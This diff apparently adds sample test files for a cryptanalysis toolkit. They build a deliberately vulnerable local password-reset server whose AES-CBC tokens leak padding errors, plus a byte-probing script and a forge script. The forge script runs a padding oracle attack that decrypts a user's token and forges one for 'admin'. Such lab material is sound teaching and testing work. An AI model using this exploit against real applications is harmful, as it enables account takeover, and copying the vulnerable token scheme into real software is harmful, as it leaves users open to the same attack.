Index: /test/samples/password-reset/forge-password-reset.py
===================================================================
--- /test/samples/password-reset/forge-password-reset.py	(revision 135)
+++ /test/samples/password-reset/forge-password-reset.py	(revision 135)
@@ -0,0 +1,88 @@
+#!/usr/bin/env python3
+
+import sys
+import time
+import json
+from bletchley import blobtools,buffertools
+from bletchley import chosenct
+from bletchley.CBC import *
+
+host = '127.0.0.1'
+port = 8888
+protocol = 'http'
+
+
+def fetchFreshToken():
+    gen_url = '%s://%s:%d/generate-reset-token?user=bob' % (protocol,host,port)
+    response = requests.get(gen_url)
+    return response.content.split(b'token=',1)[1].split(b'"')[0]
+
+
+def decode(token):
+    return blobtools.decodeChain(['percent/upper','base64/rfc3548'], token)
+
+
+def encode(binary):
+    return blobtools.encodeChain(['base64/rfc3548','percent/upper'], binary)
+
+
+try:
+    import requests
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+except:
+    sys.stderr.write('ERROR: Could not import requests module.  Ensure it is installed.\n')
+    sys.stderr.write('       Under Debian, the package name is "python3-requests"\n.')
+    sys.stderr.write('       Alternatively, re-generate this script using the --native option.\n.')
+    sys.exit(1)
+
+
+session = requests.Session()
+def sendRequest(session, data=None):
+    data = data.decode('utf-8')
+    method = 'GET'
+    path = '/reset-password?token='+data
+    url = "%s://%s:%d%s" % (protocol,host,port,path)
+    body = (b'')
+
+    # Set verify=True if you want to validate the server cert
+    return session.request(method, url, headers={}, data=body, allow_redirects=False, verify=False)
+    
+
+def processResponse(data, iv=None):
+    global session
+    global poa
+    global ciphertext
+    global decrypting
+    
+    if decrypting:
+        length = len(ciphertext)-len(iv)-len(poa.decrypted)
+        #'\x1b[1;31m'  '\x1b[39;49m'
+        
+        if len(poa.decrypted) > 0:
+            d = repr(('?'*length)+poa.decrypted.decode('utf-8'))
+            d = d[0:length+1] + '\x1b[1;31m' +d[length+1:length+2] + '\x1b[39;49m' + d[length+2:]
+            print('\x1b[F '+d, file=sys.stderr)
+    response = sendRequest(session, encode(iv+data))
+
+    if b'Reset Token Corrupt!' in response.content:
+        return False
+    return True
+
+
+decrypting = True
+token = fetchFreshToken()
+print('Fetched new password reset token for bob: ' + token.decode('utf-8')+'\n',file=sys.stderr)
+ciphertext = decode(token)
+#print(processResponse(ciphertext), file=sys.stderr)
+
+# Padding Oracle Attacks 
+poa = POA(processResponse, 16, ciphertext[16:], iv=ciphertext[0:16], threads=1)
+#print(poa.probe_padding()) # sanity check
+print('\x1b[F \''+poa.decrypt().decode('utf-8'))
+decrypting = False
+
+print('Now encrypting forged token...', file=sys.stderr)
+iv,ciphertext = poa.encrypt(json.dumps({'user':'admin','expires':int(time.time()+1000*24*60*60)}).encode('utf-8'))
+print("Use this URL to reset the admin's password:")
+print(' http://127.0.0.1:8888/reset-password?token='+encode(iv+ciphertext).decode('utf-8'))
Index: /test/samples/password-reset/password-reset.py
===================================================================
--- /test/samples/password-reset/password-reset.py	(revision 135)
+++ /test/samples/password-reset/password-reset.py	(revision 135)
@@ -0,0 +1,91 @@
+#!/usr/bin/env python3
+
+'''
+Sample password reset process which is vulnerable to padding oracle attacks
+
+Copyright (C) 2016-2017 Blindspot Security LLC
+Author: Timothy D. Morgan
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU Lesser General Public License, version 3,
+ as published by the Free Software Foundation.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program.  If not, see <http://www.gnu.org/licenses/>.
+'''
+
+import http.server
+import tokenutils
+
+listen_ip = '127.0.0.1'
+listen_port = 8888
+
+
+class MyHandler(http.server.BaseHTTPRequestHandler):
+    def do_HEAD(s):
+        s.send_response(200)
+        s.send_header("Content-type", "text/html")
+        s.end_headers()
+        
+    def do_GET(s):
+        if s.path.startswith('/generate-reset-token'):
+            s.send_response(200)
+            s.send_header("Content-Type", "text/html; charset=utf-8")
+            s.end_headers()
+            
+            s.wfile.write(b"<html><head><title>Reset Your Password</title></head>")
+            s.wfile.write(b"<body>")
+            user = s.path.split('user=')[1]
+            url = 'http://%s:%d/reset-password?token=%s' % (listen_ip,listen_port,tokenutils.generateResetToken(user))
+            s.wfile.write(('<h4>If this were a real application, we would have emailed the user "%s" the following URL so they could reset their password:</h4>' % user).encode('utf-8'))
+            s.wfile.write(('<code><a href="%s">%s</a></code>' % (url,url)).encode('utf-8'))
+            s.wfile.write(b"</body></html>")
+
+        elif s.path.startswith('/reset-password'):
+            token = s.path.split('token=')[1]
+            result,info = tokenutils.validateResetToken(token)
+            if result:
+                s.send_response(200)
+                s.send_header("Content-type", "text/html; charset=utf-8")
+                s.end_headers()
+                
+                s.wfile.write(b"<html><head><title>Reset Your Password</title></head>")
+                s.wfile.write(("<body><p>Hello <b>%s</b>, you may now reset your password:</p>" % info['user']).encode('utf-8'))
+                s.wfile.write(b"<p>New password: <input type='password' /></p>")
+                s.wfile.write(b"<p>Verify password: <input type='password' /></p>")
+                s.wfile.write(b"<p><input type='button' value='Save' /></p>")
+                s.wfile.write(b"</body></html>")
+            else:
+                s.send_response(200)
+                s.send_header("Content-type", "text/html; charset=utf-8")
+                s.end_headers()
+
+                s.wfile.write(b"<html><head><title>Reset Your Password</title></head>")
+                s.wfile.write(b"<body><p>Oops! There was a problem with your reset token</p>")
+                s.wfile.write(b"<p>ERROR: <b>%s</b></p>" % info.encode('utf-8'))
+                s.wfile.write(("<p>Please <a href='http://%s:%d/generate-reset-token?user=bob'>return here</a> to try again.</p>" % (listen_ip,listen_port)).encode('utf-8'))
+                s.wfile.write(b"</body></html>")
+
+        else:
+            s.send_response(404)
+            s.send_header("Content-type", "text/html; charset=utf-8")
+            s.end_headers()
+            
+            s.wfile.write(b"<html><head><title>Not Found</title></head>")
+            s.wfile.write(b"<body><p>Greetings traveler.  We think you want to start at ")
+            s.wfile.write(("<a href='http://%s:%d/generate-reset-token?user=bob'>this page</a>.</p>" % (listen_ip,listen_port)).encode('utf-8'))
+            s.wfile.write(b"</body></html>")
+
+
+if __name__ == '__main__':
+    httpd = http.server.HTTPServer((listen_ip, listen_port), MyHandler)
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    httpd.server_close()
Index: /test/samples/password-reset/probe-password-reset.py
===================================================================
--- /test/samples/password-reset/probe-password-reset.py	(revision 135)
+++ /test/samples/password-reset/probe-password-reset.py	(revision 135)
@@ -0,0 +1,67 @@
+#!/usr/bin/env python3
+
+import sys
+from bletchley import blobtools,buffertools
+from bletchley import chosenct
+from bletchley.CBC import *
+
+host = '127.0.0.1'
+port = 8888
+protocol = 'http'
+
+
+def fetchFreshToken():
+    gen_url = '%s://%s:%d/generate-reset-token?user=bob' % (protocol,host,port)
+    response = requests.get(gen_url)
+    return response.content.split(b'token=',1)[1].split(b'"')[0]
+
+
+def decode(token):
+    return blobtools.decodeChain(['percent/upper','base64/rfc3548'], token)
+
+
+def encode(binary):
+    return blobtools.encodeChain(['base64/rfc3548','percent/upper'], binary)
+
+
+try:
+    import requests
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+except:
+    sys.stderr.write('ERROR: Could not import requests module.  Ensure it is installed.\n')
+    sys.stderr.write('       Under Debian, the package name is "python3-requests"\n.')
+    sys.stderr.write('       Alternatively, re-generate this script using the --native option.\n.')
+    sys.exit(1)
+
+
+session = requests.Session()
+def sendRequest(session, data=None):
+    data = data.decode('utf-8')
+    method = 'GET'
+    path = '/reset-password?token='+data
+    url = "%s://%s:%d%s" % (protocol,host,port,path)
+    body = (b'')
+
+    # Set verify=True if you want to validate the server cert
+    return session.request(method, url, headers={}, data=body, allow_redirects=False, verify=False)
+    
+
+def processResponse(data, other=None):
+    global session
+    response = sendRequest(session, encode(data))
+
+    if b'ERROR: <b>' in response.content:
+        return response.content.split(b'ERROR: <b>')[1].split(b'</b>')[0]
+    else:
+        return 'success'
+
+
+token = fetchFreshToken()
+print('Fetched new password reset token for bob: ' + token.decode('utf-8'),file=sys.stderr)
+ciphertext = decode(token)
+#print(processResponse(ciphertext), file=sys.stderr)
+
+# Byte-by-byte probing of ciphertext
+result = chosenct.probe_bytes(processResponse, ciphertext, list(range(1,256)), max_threads=8)
+print(result.toHTML())
Index: /test/samples/password-reset/tokenutils.py
===================================================================
--- /test/samples/password-reset/tokenutils.py	(revision 135)
+++ /test/samples/password-reset/tokenutils.py	(revision 135)
@@ -0,0 +1,94 @@
+#!/usr/bin/env python3
+
+'''
+Sample library to create tokens vulnerable to padding oracle attacks
+
+Copyright (C) 2016-2017 Blindspot Security LLC
+Author: Timothy D. Morgan
+
+ This program is free software: you can redistribute it and/or modify
+ it under the terms of the GNU Lesser General Public License, version 3,
+ as published by the Free Software Foundation.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program.  If not, see <http://www.gnu.org/licenses/>.
+'''
+
+import time
+import json
+
+from Crypto.Cipher import AES
+from Crypto import Random
+
+from bletchley.buffertools import pkcs7PadBuffer,stripPKCS7Pad
+from bletchley.blobtools import encodeChain,decodeChain
+
+
+key = Random.new().read(32) # Never breaking AES256!!!
+
+
+def encodeToken(ciphertext):
+    return encodeChain(['base64/rfc3548','percent/upper'], ciphertext)
+
+
+def decodeToken(token):
+    return decodeChain(['percent/upper','base64/rfc3548'], token)
+
+
+def _encrypt(plaintext):
+    iv = Random.new().read(AES.block_size)
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    ciphertext = iv + cipher.encrypt(pkcs7PadBuffer(plaintext.encode('utf-8'), AES.block_size))
+
+    return encodeToken(ciphertext)
+
+
+def _decrypt(token):
+    plaintext = None
+    ciphertext = decodeToken(token)
+    iv = ciphertext[0:AES.block_size]
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    plaintext = stripPKCS7Pad(cipher.decrypt(ciphertext[AES.block_size:]), AES.block_size)
+    if plaintext == None:
+        raise Exception('Padding Error')
+    
+    return plaintext
+
+
+def generateResetToken(user):
+    seven_days = 7*24*60*60
+    reset_info = {'user':user,'expires':int(time.time()+seven_days)}
+    return _encrypt(json.dumps(reset_info)).decode('utf-8')
+
+
+def validateResetToken(token):
+    try:
+        plaintext = _decrypt(token)
+    except Exception as e:
+        return (False, 'Reset Token Corrupt!')
+
+    try:
+        decoded = plaintext.decode('utf-8')
+    except Exception as e:
+        return (False, 'Bad Token!')
+
+    try:
+        reset_info = json.loads(decoded)
+    except Exception as e:
+        return (False, 'Parse Error!')
+
+    if reset_info.get('expires', 0) < int(time.time()):
+        return (False, 'Token Expired!')
+    
+    return (True, reset_info)
+
+
+if __name__ == "__main__":
+    token = generateResetToken('bob')
+    print(token)
+    print(validateResetToken(token))
